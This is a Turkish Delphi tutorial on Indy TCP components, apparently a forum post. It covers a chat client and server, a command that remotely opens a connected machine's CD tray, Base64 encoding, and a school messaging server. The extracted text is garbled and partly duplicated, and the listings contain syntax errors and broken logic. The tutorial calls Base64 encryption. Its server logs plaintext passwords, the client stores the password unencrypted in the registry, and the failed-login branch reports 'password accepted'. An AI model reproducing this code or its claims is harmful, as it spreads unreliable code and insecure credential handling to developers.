INDY BİLEŞENLERİ
INDY Bİ LE Ş ENLER İ 1
İ ndy bile ş enleriyle ben Ö zkan besinili ( xbarakuda ) her hafta indyserver indyclient indymisc Tablar ı ndan birer kontrol ü anlatmaya ç al ışı cam elimden geldi ğ i kadar ı yla
İ NDYSERVER1
Server uygulama yapmak istiyenler i ç in ç ok ama ç l ı protokold ü r bir ç ok uygulama geli ş tire bilirsiniz ( http , ftp , tcp , mirc ) gibi
IDTCPSERVER
Idtcpserver1 . defaultport := kullanmak istedi ğ iniz portu bu k ı s ı mdan belirlemelisiniz Idtcpserver1 . active := true server a çı k kapal ı m ı olmas ı n ı belirleyin
Onconnect olayı
Belirledi ğ imiz porta ba ğ lanmak istiyen biri oldugunda onconnect olay ı gercekle ş ir Ba ğ lant ı kurmak istiyen ki ş inin bilgilerini almak i ç in ( athread . Connection . Socket . Binding . PeerIP ) yazman ı n ı z yeterlidir .
Porta gelen bilgileri okumak i ç in ( athread . Connection . ReadLn );
Ba ğ lant ı kuran ki ş i bilgi g ö ndermek i ç in ( athread . Connection . WriteLn ( 'selam hoş geldiniz ' ))
IDTCPCL İ ET
İ dtcpclient host : ba ğ lant ı sa ğ lanacak ip buradan belirleyin .
İ dtcpclient port : ba ğ lant ı sa ğ lanacak portu belirleyin serverdeki portun ayn ı s ı olmas ı ş art
İ dtcpclient writeln servere mesaj g ö ndermek i ç in kullan ı l ı r
İ dtcpclient readln : serverden gelen mesajlar ı okuya bilirsiniz .
idtcpclient1 . Socket . LocalName servermakinas ı n ı n ismin ö rgene bilirsiniz
Di ğ er yordanlar ı anlatmama gerek yok san ı r ı m biraz mant ı kla olay ı çö zersiniz
Ö rnek olarak bir program yapal ı m size ba ğ lant ı kuran makinen ı n cdromunu A ç t ı ral ı m chat yapan bir basit bir program yapal ı m
Server bö l ü m ü
Bir form haz ı rlay ı n bir ı ndyserver tab ı ndan tcpserver bir memo bir checkbox Yerle ş tirin A ş a ğı daki kodu gerekli k ı s ı mlara yaz ı n
Kod :
procedure TForm1 . IdTCPServer1Connect ( AThread : TIdPeerThread );
begin
memo1 . Lines . Add ( athread . Connection . Socket . Binding . IP + 'bağlan mak iştiyor ' );
athread . Connection . WriteLn ( 'selam hoş geldiniz ' );
athread . Connection . Connected ;
if checkbox1 . Checked = true then
athread . Connection . WriteLn ( 'cd' );
end ;
procedure TForm1 . FormCreate ( Sender : TObject );
begin
Idtcpserver1 . DefaultPort := 1100 ;
Idtcpserver1 . Active := true ;
end ;
procedure TForm1 . FormClose ( Sender : TObject ; var Action : TCloseAction );
begin
Idtcpserver1 . Active := false ;
end ;
procedure TForm1 . IdTCPServer1Execute ( AThread : TIdPeerThread );
var
s : string ;
begin
if athread . Connection . Connected then
s := athread . Connection . ReadLn ;
memo1 . Lines . Add ( s );
end ;
procedure TForm1 . IdTCPServer1Disconnect ( AThread : TIdPeerThread );
begin
athread . Connection . Disconnect ;
memo1 . Lines . Add ( 'bağlantı kesildi' );
end ;
end .
IDTCPCL İ ENT B Ö L Ü M Ü
Formunuza iki button indyclient tab ı ndan ı dtcpclient iki edit bir tane de memo koyun gerekli kodlar ı yaz ı n
Kod :
procedure TForm1 . Button1Click ( Sender : TObject )
var
mesaj : string ;
begin
IDTCPclient1 . Connect ;
IDTCPclient1 . Host := edit2 . Text ;
DTCPclient1 . Port := 1100 ;
mesaj := idtcpclient1 . ReadLn ;
if mesaj = 'cd' then
mciSendString ( 'Set cdaudio door open' , nil , 0 , 0 )
else
memo1 . Lines . Add ( mesaj );
end ;
procedure TForm1 . FormCreate ( Sender : TObject );
begin
button2 . Enabled := false ;
edit2 . Text := '10.0.0.11' ;
end ;
procedure TForm1 . IdTCPClient1Connected ( Sender : TObject );
begin
button2 . Enabled := true ;
end ;
procedure TForm1 . Button2Click ( Sender : TObject );
begin
idtcpclient1 . WriteLn ( edit1 . Text );
end ;
end .
Xp i ş letim siteminde baz ı sorunlar vere bilir
INDY Mİ SC
IdDecoderMIME1 ve IdDecoderMIME1
Metinleri ş ifreme i ş ine yarar
IdencoderMIME1. Encode ş ifrelek isdedi ğ iniz metin yada memonun i ç indeki metni
ş ifreler
IdDecoderMIME1 . DecodeString ş ifreli metini eski haline ç evirir
Ö rnek yazd ı m ı z metni ş ifreleyip kaydeden kay ı tl ı ş ifreli metinleri tekrardan
a ç an bir program yazal ı m
Bir form haz ı rlay ı n formunuza bir IdDecoderMIME1 bir IdDecoderMIME1 iki memo
Bir opendialog bir savedialog 4 adet button yerle ş tirin
Formu bu ş ekil tasarlaya bilirsiniz
Kod :
procedure TForm1 . Button1Click ( Sender : TObject );
begin
IdencoderMIME1 . Encode ( memo1 . Text );
memo2 . Text := IdencoderMIME1 . EncodeString ( memo1 . Text );
end ;
procedure TForm1 . Button2Click ( Sender : TObject );
begin
IdDecoderMIME1 . DecodeString ( memo2 . Text ); memo1 . Text := IdDecoderMIME1 . DecodeString ( memo2 . Text );
end ;
procedure TForm1 . Button3Click ( Sender : TObject );
var
yol : ansistring ;
begin
opendialog1 . Title := 'dosya seçiniz' ;
opendialog1 . Filter := 'txt dosyalari|*.txt|' ;
if opendialog1 . Execute then
begin
yol := opendialog1 . FileName ;
memo1 . Lines . LoadFromFile ( yol );
end ;
end ;
procedure TForm1 . Button6Click ( Sender : TObject );
var
yol : ansistring ;
begin
savedialog1 . Title := 'dosyayı kaydet' ;
savedialog1 . DefaultExt := 'txt' ;
if savedialog1 . Execute then
begin
yol := savedialog1 . FileName ;
memo1 . Lines . SaveToFile ( yol );
end ;
end ;
procedure TForm1 . Button4Click ( Sender : TObject );
var
yol : ansistring ;
begin
opendialog1 . Title := 'dosya seçiniz' ;
opendialog1 . Filter := 'txt dosyalari|*.txt|' ;
if opendialog1 . Execute then
begin
yol := opendialog1 . FileName ;
memo2 . Lines . LoadFromFile ( yol );
end ;
end ;
procedure TForm1 . Button5Click ( Sender : TObject );
var
yol : ansistring ;
begin
savedialog1 . Title := 'dosyayı kaydet' ;
savedialog1 . DefaultExt := 'txt' ;
if savedialog1 . Execute then
begin
yol := savedialog1 . FileName ;
memo2 . Lines . SaveToFile ( yol );
end ;
end ;
end .
İNDY B İ LE Ş ENLER İ NE DEVAM
İ NDTCPSERVER ve CL İ ENT uygulamalar ı geli ş tirmeye devam ediyoruz
Okul yı llar ı nda yazm ış oldu ğ um bir uygulamay ı sizle payla ş mak istiyorum
Program k ı saca a çı klamak gerekirse email benzer haberle ş me yemek listesini
Almak gibi fonksiyonlar ı olan basit bir program yap ı m a ş amas ı nda İ HSAN & nbsp ; & nbsp ; KARAG Ü LLE N İ N İ NTERNET PROGRAMCILIGI kitab ı ndan yararlanm ış t ı m
Delphi 6 kullanm ış t ı m ama delphi 7 tekrar derledim ö yle a ğı m ş ah ı m bir ş ey deyil
Zaten d üşü k not alm ış t ı m
Server k ı sm ı n ı yazmandan ö nce vt mizi olu ş tural ı m ben paradox kulland ı m isterseniz firebir kullana bilirsiniz fark etmez 4 ayr ı vt olu ş turdum bunlar user , yemek listesi , mesajlar , dersler
Tek bir vt olu ş turmay ı n ozman bo ş veri geliyor
SERVER KISMI
ANA FORMUN KODU
Kod :
var
Form1 : TForm1 ;
implementation
uses Unit2 , Unit3 , Unit4 , Unit5 , Unit6 , Unit7 , Unit8 ;
{$R *.dfm}
var
kullanici : string ;
procedure TForm1 . yemeklistesi1Click ( Sender : TObject );
begin
form2 . show ;
end ;
procedure TForm1 . RzBitBtn1Click ( Sender : TObject );
begin
Idtcpserver1 . DefaultPort := 1111 ;
Idtcpserver1 . Active := true ;
statusbar1 . Panels [ 0 ]. Text := 'server aktif' ;
rzmemo1 . Clear ;
end ;
procedure TForm1 . RzBitBtn2Click ( Sender : TObject );
begin
Idtcpserver1 . Active := false ;
statusbar1 . Panels [ 0 ]. Text := 'server kapalı' ;
rzmemo1 . Lines . SaveToFile ( 'server log.txt' );
end ;
procedure TForm1 . FormCreate ( Sender : TObject );
begin
statusbar1 . Panels [ 0 ]. Text := 'server pasif' ;
if fileexists ( 'server log.txt' ) then
rzmemo1 . Lines . LoadFromFile ( 'server log.txt' );
end ;
procedure TForm1 . IdTCPServer1Connect ( AThread : TIdPeerThread );
var
SIFRE : string ;
begin
rzmemo1 . Lines . Add ( athread . Connection . Socket . Binding . PeerIP + ' adresinden baglantı istegi geldi' );
athread . Connection . WriteLn ( 'kulanıcı.adı:' );
kullanici := athread . Connection . ReadLn ;
rzmemo1 . Lines . Add ( kullanici + 'sisteme girmeye calışıyor' );
if form3 . Table1 . Locate ( 'adi' , kullanici ,[]) then
begin
rzmemo1 . Lines . Add ( kullanici + 'sifre soruluyor' );
athread . Connection . WriteLn ( 'ŞİFRE:' );
SIFRE := athread . Connection . ReadLn ;
rzmemo1 . Lines . Add ( kullanici + 'kullanıcısı' + SIFRE + 'ile sisteme girmeye çalışıyor' );
if SIFRE = form3 . Table1 . FieldByName ( 'sifre' ). Asstring then
begin
rzmemo1 . Lines . Add ( kullanici + 'için şifre kabul );
athread . Connection . WriteLn ( 'şifre kabul );
end
else
begin
rzmemo1 . Lines . Add ( kullanici + 'için şifre kabul );
athread . Connection . WriteLn ( 'şifre kabul );
athread . Connection . Disconnect ;
end ;
end
else
begin
athread . Connection . WriteLn ( 'hata' );
athread . Connection . WriteLn ( 'kullanici adı bulunamadı' );
rzmemo1 . Lines . Add ( kullanici + 'sisteme giremedi' );
athread . Connection . Disconnect ;
end ;
end ;
procedure TForm1 . ssss1Click ( Sender : TObject );
begin
form3 . Show ;
end ;
procedure TForm1 . IdTCPServer1Disconnect ( AThread : TIdPeerThread );
begin
rzmemo1 . Lines . Add ( kullanici + ' bağlantıyı kesti' );
end ;
procedure TForm1 . IdTCPServer1Execute ( AThread : TIdPeerThread );
var komut : string ;
kulanici , gun , saat , yemek1 , yemek2 , yemek3 , yemek4 , yemek5 , yemek6 , uyeadi , sifre : string ;
tarih , user , konu , mesaj , mt , kime , kns , mes : string ;
begin
if athread . Connection . Connected then
begin
komut := athread . Connection . ReadLn ;
if komut = 'liste' then
begin
RZmemo1 . Lines . Add ( kullanici + ' KULLANICIYA YEMEK LİSTESİ GÖNDERİLİYOR' );
athread . Connection . WriteLn ( 'liste:' );
form2 . Table1 . First ;
while not form2 . Table1 . Eof do
begin
kulanici := form2 . Table1 . fieldbyname ( 'tarih' ). AsString ;
gun := form2 . Table1 . fieldbyname ( 'gün' ). AsString ;
saat := form2 . Table1 . fieldbyname ( 'yemeksaati' ). AsString ;
yemek1 := form2 . Table1 . fieldbyname ( 'yemek1' ). AsString ;
yemek2 := form2 . Table1 . fieldbyname ( 'yemek2' ). AsString ;
yemek3 := form2 . Table1 . fieldbyname ( 'yemek3' ). AsString ;
yemek4 := form2 . Table1 . fieldbyname ( 'yemek4' ). AsString ;
yemek5 := form2 . Table1 . fieldbyname ( 'yemek5' ). AsString ;
yemek6 := form2 . Table1 . fieldbyname ( 'yemek6' ). AsString ;
athread . Connection . WriteLn ( kulanici );
athread . Connection . WriteLn ( gun );
athread . Connection . WriteLn ( saat );
athread . Connection . WriteLn ( yemek1 );
athread . Connection . WriteLn ( yemek2 );
athread . Connection . WriteLn ( yemek3 );
athread . Connection . WriteLn ( yemek4 );
athread . Connection . WriteLn ( yemek5 );
athread . Connection . WriteLn ( yemek6 );
form2 . Table1 . Next ;
end ;
athread . Connection . WriteLn ( 'liste sonu:' );
RZmemo1 . Lines . Add ( kullanici + ' kullanıcısına liste gönderildi ' );
end ;
if komut = 'genelmesaj' then
begin
RZmemo1 . Lines . Add ( kullanici + 'genel mesaj gönderiliyor' );
athread . Connection . WriteLn ( 'mesaj:' );
form4 . Table1 . First ;
while not form4 . Table1 . Eof do
begin
tarih := form4 . Table1 . fieldbyname ( 'mesajtarihi' ). AsString ;
user := form4 . Table1 . fieldbyname ( 'mesajyazan' ). AsString ;
konu := form4 . Table1 . fieldbyname ( 'mesajinkonusu' ). AsString ;
mesaj := form4 . Table1 . fieldbyname ( 'mesaj' ). AsString ;
athread . Connection . WriteLn ( tarih );
athread . Connection . WriteLn ( user );
athread . Connection . WriteLn ( konu );
athread . Connection . WriteLn ( mesaj );
form4 . Table1 . Next ;
end ;
athread . Connection . WriteLn ( 'liste sonu:' );
RZmemo1 . Lines . Add ( kullanici + 'genel mesaj gönderildi' );
end ;
if komut = 'genelmesajyaz' then
begin
RZmemo1 . Lines . Add ( kullanici + 'genel mesaj yazıyor' );
tarih := athread . Connection . ReadLn ;
user := athread . Connection . ReadLn ;
konu := athread . Connection . ReadLn ;
mesaj := athread . Connection . ReadLn ;
form4 . Table1 . Append ;
form4 . Table1 . FieldByName ( 'mesajtarihi' ). AsString := tari h ;
form4 . Table1 . FieldByName ( 'mesajyazan' ). AsString := user ;
form4 . Table1 . FieldByName ( 'mesajinkonusu' ). AsString := konu ;
form4 . Table1 . FieldByName ( 'mesaj' ). AsString := mesaj ;
form4 . Table1 . Post ;
end ;
athread . Connection . WriteLn ( 'mesajsonu:' );
RZmemo1 . Lines . Add ( kullanici + 'mesaj alındı' );
end ;
if komut = 'mesaj' then
begin
RZmemo1 . Lines . Add ( kullanici + 'özel mesajları gönderiliyor' );
if form7 . Table1 . Locate ( 'kime' , kullanici ,[]) then
begin
athread . Connection . WriteLn ( 'özel mesaj:' );
form7 . Table1 . First ;
while not form7 . Table1 . Eof do
begin
mt := form7 . Table1 . fieldbyname ( 'mesajTarihi' ). AsString ;
kime := form7 . Table1 . fieldbyname ( 'kime' ). AsString ;
kns := form7 . Table1 . fieldbyname ( 'konusu' ). AsString ;
mes := form7 . Table1 . fieldbyname ( 'mesaj' ). AsString ;
athread . Connection . WriteLn ( mt );
athread . Connection . WriteLn ( kime );
athread . Connection . WriteLn ( kns );
athread . Connection . WriteLn ( mes );
form7 . Table1 . Next ;
end ;
athread . Connection . WriteLn ( 'liste sonu:' );
RZmemo1 . Lines . Add ( kullanici + 'genel mesaj gönderildi' );
end ;
if komut = 'mesajyaz' then
begin
mt := athread . Connection . ReadLn ;
kime := athread . Connection . ReadLn ;
kns := athread . Connection . ReadLn ;
mes := athread . Connection . ReadLn ;
form7 . Table1 . Append ;
form7 . Table1 . FieldByName ( 'mesajTarihi' ). AsString := mt ;
form7 . Table1 . FieldByName ( 'kime' ). AsString := kime ;
form7 . Table1 . FieldByName ( 'konusu' ). AsString := kns ;
form7 . Table1 . FieldByName ( 'mesaj' ). AsString := mes ;
form7 . Table1 . Post ;
end ;
end ;
end ;
procedure TForm1 . genelmesajlar1Click ( Sender : TObject );
begin
form4 . Show ;
end ;
procedure TForm1 . sss1Click ( Sender : TObject );
begin
form5 . Show ;
end ;
procedure TForm1 . RzBitBtn5Click ( Sender : TObject );
begin
form6 . show ;
rzmemo1 . Lines . LoadFromFile ( 'c:okul otomasyonserverserver log.txt' );
end ;
procedure TForm1 . sss2Click ( Sender : TObject );
begin
form7 . show ;
end ;
procedure TForm1 . RzBitBtn3Click ( Sender : TObject );
begin
form8 . show ;
end ;
end .
YEMEK L İ STES İ N İ YAZILACAGI FORM
Vt table kullanarak ba ğ lay ı n fazla bir ura ş a gerek yok
KULLANI EKL İ YECEG İ M İ Z FORM
Form tasar ı m ı size kalm ış isdediginiz gibi tasarlay ı n resimleri g ö sterme amac ı m vt neler olaca ğı n ı g ö stermek
GENEL MESAJLAR FORMU
Genel mesajlar ı n yaz ı lacag ı yer client de genel mesaj ata bilir mesajlar bu k ı s ı mda kay ı t olur
Yay ı nla buttonu yenile anlam ı ta şı yor
Ö ZEL MESAJLAR KISMI
Ö zel mesajla ş ma b ö l ü m ü mesajlar buraya kaydedilir i ş in g ü zel yan ı serverin ba şı ndaki ki ş i
B ü t ü n mesajla ş malar ı okuya bilir asl ı nda bu k ı sm ı tcp kullanrak yapacakt ı m ama okuldaki hup mesajlar ı buloke ediyordu
CL İ ENT B Ö L Ü M Ü İŞİ N ZOR KISMI
kulan ı c ı ad ı ş ifre form 2 ye ayarlad ı m istiyen direk ama forma monte edebilir
Kod :
procedure TForm1 . sToolButton1Click ( Sender : TObject );
var
s : string ;
begin
IdTCPClient1 . Host := form2 . sedit1 . Text ;
IdTCPClient1 . Port := 1111 ;
Idtcpclient1 . Connect ;
s := Idtcpclient1 . ReadLn ;
if s = 'kulanıcı.adı:' then
Idtcpclient1 . WriteLn ( form2 . sedit2 . Text );
s := Idtcpclient1 . ReadLn ;
if s = 'ŞİFRE:' THEN
Idtcpclient1 . WriteLn ( form2 . sEdit3 . Text );
if s = 'hata:' then
begin
showmessage ( Idtcpclient1 . ReadLn );
Idtcpclient1 . Disconnect ;
sstatusbar1 . Panels [ 0 ]. Text := 'bir hata oluştu' ;
end
else
begin
s := Idtcpclient1 . ReadLn ;
if s = 'şifre kabul then
begin
stoolbutton2 . Enabled := true ;
stoolbutton3 . Enabled := true ;
stoolbutton4 . Enabled := true ;
stoolbutton5 . Enabled := true ;
end ;
end ;
end ;
procedure TForm1 . FormCreate ( Sender : TObject );
begin
slistview1 . Hide ;
stoolbutton2 . Enabled := false ;
stoolbutton3 . Enabled := false ;
stoolbutton4 . Enabled := false ;
stoolbutton5 . Enabled := false ;
end ;
procedure TForm1 . sToolButton3Click ( Sender : TObject );
begin
form2 . Show ;
end ;
procedure TForm1 . IdTCPClient1Connected ( Sender : TObject );
begin
sstatusbar1 . Panels [ 0 ]. Text := 'baglantı saglandı' ;
end ;
procedure TForm1 . sToolButton2Click ( Sender : TObject );
begin
sstatusbar1 . Panels [ 0 ]. Text := 'bağlantı kesildi' ;
end ;
procedure TForm1 . sToolButton5Click ( Sender : TObject );
var
kulanici : string ;
begin
slistview1 . Show ;
slistview1 . Clear ;
kulanici := '' ;
IdTCPClient1 . WriteLn ( 'liste' );
if Idtcpclient1 . ReadLn = 'liste:' then
begin
while kulanici <> 'liste sonu:' do
begin
kulanici := IdTCPClient1 . ReadLn ;
if kulanici = 'liste sonu:' then break ;
with slistview1 . Items . Add DO
begin
caption := kulanici ;
kulanici := Idtcpclient1 . ReadLn ;
subItems . Add ( kulanici );
kulanici := Idtcpclient1 . ReadLn ;
subItems . Add ( kulanici );
kulanici := Idtcpclient1 . ReadLn ;
subItems . Add ( kulanici );
kulanici := Idtcpclient1 . ReadLn ;
subItems . Add ( kulanici );
kulanici := Idtcpclient1 . ReadLn ;
subItems . Add ( kulanici );
kulanici := Idtcpclient1 . ReadLn ;
subItems . Add ( kulanici );
kulanici := Idtcpclient1 . ReadLn ;
subItems . Add ( kulanici );
kulanici := Idtcpclient1 . ReadLn ;
subItems . Add ( kulanici );
kulanici := Idtcpclient1 . ReadLn ;
subItems . Add ( kulanici );
end ;
end ;
end ;
end ;
procedure TForm1 . genelmesajlar1Click ( Sender : TObject );
begin
form3 . show ;
end ;
FORM 2 YAPISI
Kulan ı ad ı ip ş ifre ayarlar ı n ı yazd ı m ı z yar ben bilgileri direk olarak registriy yazd ı rd ı m
Kod :
procedure TForm2 . sBitBtn4Click ( Sender : TObject );
begin
form2 . Close ;
end ;
procedure TForm2 . sBitBtn3Click ( Sender : TObject );
begin
end ;
procedure TForm2 . FormCreate ( Sender : TObject );
var
reg : tregistry ;
SSS : string ;
// ayarları form acılışında okuyoruz
begin
reg := tregistry . Create ;
try
reg . OpenKey ( 'intOayarlar' , false );
anahtar := 'intOayarlar' ;
if reg . OpenKey ( anahtar , false ) then
begin
Sedit1 . Text := reg . ReadString ( 'ip' ) ;
Sedit2 . Text := reg . ReadString ( 'kullanı nick' ) ;
Sedit3 . Text := reg . ReadString ( 'sifre ' ) ;
reg . CloseKey ;
end ;
finally
reg . Free ;
end ;
end ;
procedure TForm2 . sBitBtn2Click ( Sender : TObject );
begin
form2 . Close ;
end ;
procedure TForm2 . sBitBtn1Click ( Sender : TObject );
var
reg : tregistry ;
tar : string ;
// yapılkan ayarları uygulatıyoruz uygular
begin
reg := tregistry . Create ;
reg . OpenKey ( 'intoayarlar' , true );
tar := 'intoayarlar' ;
try
if reg . OpenKey ( tar , true ) then
begin
reg . WriteString ( 'ip' , sedit1 . Text );
reg . WriteString ( 'kullanı nick' , sedit2 . Text );
reg . WriteString ( 'sifre' , sedit3 . Text );
reg . CloseKey ;
end ;
finally
reg . Free ;
end ;
GENEL MESAJ ATMA FORMU
genel mesaj al foksiyonu serverde kay ı tl ı mesajlar ı al ı r eyer siz bir mesaj yazarsan ı z servere kaydeder ve ba ş kal ı r an ı nda okuya bilir
Kod :
procedure TForm3 . sBitBtn3Click ( Sender : TObject );
begin
form3 . Close ;
end ;
procedure TForm3 . sBitBtn1Click ( Sender : TObject );
var
kulanici : string ;
begin
form1 . IdTCPClient1 . WriteLn ( 'genelmesaj' );
kulanici := form1 . idtcpclient1 . ReadLn ;
smemo1 . Lines . Add ( kulanici );
kulanici := form1 . idtcpclient1 . ReadLn ;
sedit1 . Text :=( kulanici );
kulanici := form1 . idtcpclient1 . ReadLn ;
sedit2 . Text :=( kulanici );
kulanici := form1 . idtcpclient1 . ReadLn ;
sedit3 . Text :=( kulanici );
kulanici := form1 . idtcpclient1 . ReadLn ;
smemo1 . Lines . Add ( kulanici );
end ;
procedure TForm3 . sBitBtn2Click ( Sender : TObject );
begin
sedit2 . Text := form2 . sEdit2 . Text ;
sedit1 . Enabled := true ;
sedit3 . Enabled := true ;
smemo1 . Enabled := true ;
end ;
procedure TForm3 . FormCreate ( Sender : TObject );
begin
sedit1 . Enabled := false ;
sedit2 . Enabled := false ;
sedit3 . Enabled := false ;
smemo1 . Enabled := false ;
end ;
procedure TForm3 . sBitBtn4Click ( Sender : TObject );
var
kulanici : string ;
begin
form1 . IdTCPClient1 . WriteLn ( 'genelmesajyaz' );
form1 . idtcpclient1 . WriteLn ( sedit1 . Text );
form1 . idtcpclient1 . WriteLn ( sedit2 . Text );
form1 . idtcpclient1 . WriteLn ( sedit3 . Text );
form1 . idtcpclient1 . WriteLn ( smemo1 . Text );
end ;
end .
Delphi - .....................................
INDY BİLEŞENLERİ
INDY Bİ LE Ş ENLER İ 1
İ ndy bile ş enleriyle ben Ö zkan besinili ( xbarakuda ) her hafta indyserver indyclient indymisc Tablar ı ndan birer kontrol ü anlatmaya ç al ışı cam elimden geldi ğ i kadar ı yla
İ NDYSERVER1
Server uygulama yapmak istiyenler i ç in ç ok ama ç l ı protokold ü r bir ç ok uygulama geli ş tire bilirsiniz ( http , ftp , tcp , mirc ) gibi
IDTCPSERVER
Idtcpserver1 . defaultport := kullanmak istedi ğ iniz portu bu k ı s ı mdan belirlemelisiniz Idtcpserver1 . active := true server a çı k kapal ı m ı olmas ı n ı belirleyin
Onconnect olayı
Belirledi ğ imiz porta ba ğ lanmak istiyen biri oldugunda onconnect olay ı gercekle ş ir Ba ğ lant ı kurmak istiyen ki ş inin bilgilerini almak i ç in ( athread . Connection . Socket . Binding . PeerIP ) yazman ı n ı z yeterlidir .
Porta gelen bilgileri okumak i ç in ( athread . Connection . ReadLn );
Ba ğ lant ı kuran ki ş i bilgi g ö ndermek i ç in ( athread . Connection . WriteLn ( 'selam hoş geldiniz ' ))
IDTCPCL İ ET
İ dtcpclient host : ba ğ lant ı sa ğ lanacak ip buradan belirleyin .
İ dtcpclient port : ba ğ lant ı sa ğ lanacak portu belirleyin serverdeki portun ayn ı s ı olmas ı ş art
İ dtcpclient writeln servere mesaj g ö ndermek i ç in kullan ı l ı r
İ dtcpclient readln : serverden gelen mesajlar ı okuya bilirsiniz .
idtcpclient1 . Socket . LocalName servermakinas ı n ı n ismin ö rgene bilirsiniz
Di ğ er yordanlar ı anlatmama gerek yok san ı r ı m biraz mant ı kla olay ı çö zersiniz
Ö rnek olarak bir program yapal ı m size ba ğ lant ı kuran makinen ı n cdromunu A ç t ı ral ı m chat yapan bir basit bir program yapal ı m
Server bö l ü m ü
Bir form haz ı rlay ı n bir ı ndyserver tab ı ndan tcpserver bir memo bir checkbox Yerle ş tirin A ş a ğı daki kodu gerekli k ı s ı mlara yaz ı n
Kod :
procedure TForm1 . IdTCPServer1Connect ( AThread : TIdPeerThread );
begin
memo1 . Lines . Add ( athread . Connection . Socket . Binding . IP + 'bağlan mak iştiyor ' );
athread . Connection . WriteLn ( 'selam hoş geldiniz ' );
athread . Connection . Connected ;
if checkbox1 . Checked = true then
athread . Connection . WriteLn ( 'cd' );
end ;
procedure TForm1 . FormCreate ( Sender : TObject );
begin
Idtcpserver1 . DefaultPort := 1100 ;
Idtcpserver1 . Active := true ;
end ;
procedure TForm1 . FormClose ( Sender : TObject ; var Action : TCloseAction );
begin
Idtcpserver1 . Active := false ;
end ;
procedure TForm1 . IdTCPServer1Execute ( AThread : TIdPeerThread );
var
s : string ;
begin
if athread . Connection . Connected then
s := athread . Connection . ReadLn ;
memo1 . Lines . Add ( s );
end ;
procedure TForm1 . IdTCPServer1Disconnect ( AThread : TIdPeerThread );
begin
athread . Connection . Disconnect ;
memo1 . Lines . Add ( 'bağlantı kesildi' );
end ;
end .
IDTCPCL İ ENT B Ö L Ü M Ü
Formunuza iki button indyclient tab ı ndan ı dtcpclient iki edit bir tane de memo koyun gerekli kodlar ı yaz ı n
Kod :
procedure TForm1 . Button1Click ( Sender : TObject )
var
mesaj : string ;
begin
IDTCPclient1 . Connect ;
IDTCPclient1 . Host := edit2 . Text ;
DTCPclient1 . Port := 1100 ;
mesaj := idtcpclient1 . ReadLn ;
if mesaj = 'cd' then
mciSendString ( 'Set cdaudio door open' , nil , 0 , 0 )
else
memo1 . Lines . Add ( mesaj );
end ;
procedure TForm1 . FormCreate ( Sender : TObject );
begin
button2 . Enabled := false ;
edit2 . Text := '10.0.0.11' ;
end ;
procedure TForm1 . IdTCPClient1Connected ( Sender : TObject );
begin
button2 . Enabled := true ;
end ;
procedure TForm1 . Button2Click ( Sender : TObject );
begin
idtcpclient1 . WriteLn ( edit1 . Text );
end ;
end .
Xp i ş letim siteminde baz ı sorunlar vere bilir
INDY Mİ SC
IdDecoderMIME1 ve IdDecoderMIME1
Metinleri ş ifreme i ş ine yarar
IdencoderMIME1. Encode ş ifrelek isdedi ğ iniz metin yada memonun i ç indeki metni
ş ifreler
IdDecoderMIME1 . DecodeString ş ifreli metini eski haline ç evirir
Ö rnek yazd ı m ı z metni ş ifreleyip kaydeden kay ı tl ı ş ifreli metinleri tekrardan
a ç an bir program yazal ı m
Bir form haz ı rlay ı n formunuza bir IdDecoderMIME1 bir IdDecoderMIME1 iki memo
Bir opendialog bir savedialog 4 adet button yerle ş tirin
Formu bu ş ekil tasarlaya bilirsiniz
Kod :
procedure TForm1 . Button1Click ( Sender : TObject );
begin
IdencoderMIME1 . Encode ( memo1 . Text );
memo2 . Text := IdencoderMIME1 . EncodeString ( memo1 . Text );
end ;
procedure TForm1 . Button2Click ( Sender : TObject );
begin
IdDecoderMIME1 . DecodeString ( memo2 . Text ); memo1 . Text := IdDecoderMIME1 . DecodeString ( memo2 . Text );
end ;
procedure TForm1 . Button3Click ( Sender : TObject );
var
yol : ansistring ;
begin
opendialog1 . Title := 'dosya seçiniz' ;
opendialog1 . Filter := 'txt dosyalari|*.txt|' ;
if opendialog1 . Execute then
begin
yol := opendialog1 . FileName ;
memo1 . Lines . LoadFromFile ( yol );
end ;
end ;
procedure TForm1 . Button6Click ( Sender : TObject );
var
yol : ansistring ;
begin
savedialog1 . Title := 'dosyayı kaydet' ;
savedialog1 . DefaultExt := 'txt' ;
if savedialog1 . Execute then
begin
yol := savedialog1 . FileName ;
memo1 . Lines . SaveToFile ( yol );
end ;
end ;
procedure TForm1 . Button4Click ( Sender : TObject );
var
yol : ansistring ;
begin
opendialog1 . Title := 'dosya seçiniz' ;
opendialog1 . Filter := 'txt dosyalari|*.txt|' ;
if opendialog1 . Execute then
begin
yol := opendialog1 . FileName ;
memo2 . Lines . LoadFromFile ( yol );
end ;
end ;
procedure TForm1 . Button5Click ( Sender : TObject );
var
yol : ansistring ;
begin
savedialog1 . Title := 'dosyayı kaydet' ;
savedialog1 . DefaultExt := 'txt' ;
if savedialog1 . Execute then
begin
yol := savedialog1 . FileName ;
memo2 . Lines . SaveToFile ( yol );
end ;
end ;
end .
İNDY B İ LE Ş ENLER İ NE DEVAM
İ NDTCPSERVER ve CL İ ENT uygulamalar ı geli ş tirmeye devam ediyoruz
Okul yı llar ı nda yazm ış oldu ğ um bir uygulamay ı sizle payla ş mak istiyorum
Program k ı saca a çı klamak gerekirse email benzer haberle ş me yemek listesini
Almak gibi fonksiyonlar ı olan basit bir program yap ı m a ş amas ı nda İ HSAN & nbsp ; & nbsp ; KARAG Ü LLE N İ N İ NTERNET PROGRAMCILIGI kitab ı ndan yararlanm ış t ı m
Delphi 6 kullanm ış t ı m ama delphi 7 tekrar derledim ö yle a ğı m ş ah ı m bir ş ey deyil
Zaten d üşü k not alm ış t ı m
Server k ı sm ı n ı yazmandan ö nce vt mizi olu ş tural ı m ben paradox kulland ı m isterseniz firebir kullana bilirsiniz fark etmez 4 ayr ı vt olu ş turdum bunlar user , yemek listesi , mesajlar , dersler
Tek bir vt olu ş turmay ı n ozman bo ş veri geliyor
SERVER KISMI
ANA FORMUN KODU
Kod :
var
Form1 : TForm1 ;
implementation
uses Unit2 , Unit3 , Unit4 , Unit5 , Unit6 , Unit7 , Unit8 ;
{$R *.dfm}
var
kullanici : string ;
procedure TForm1 . yemeklistesi1Click ( Sender : TObject );
begin
form2 . show ;
end ;
procedure TForm1 . RzBitBtn1Click ( Sender : TObject );
begin
Idtcpserver1 . DefaultPort := 1111 ;
Idtcpserver1 . Active := true ;
statusbar1 . Panels [ 0 ]. Text := 'server aktif' ;
rzmemo1 . Clear ;
end ;
procedure TForm1 . RzBitBtn2Click ( Sender : TObject );
begin
Idtcpserver1 . Active := false ;
statusbar1 . Panels [ 0 ]. Text := 'server kapalı' ;
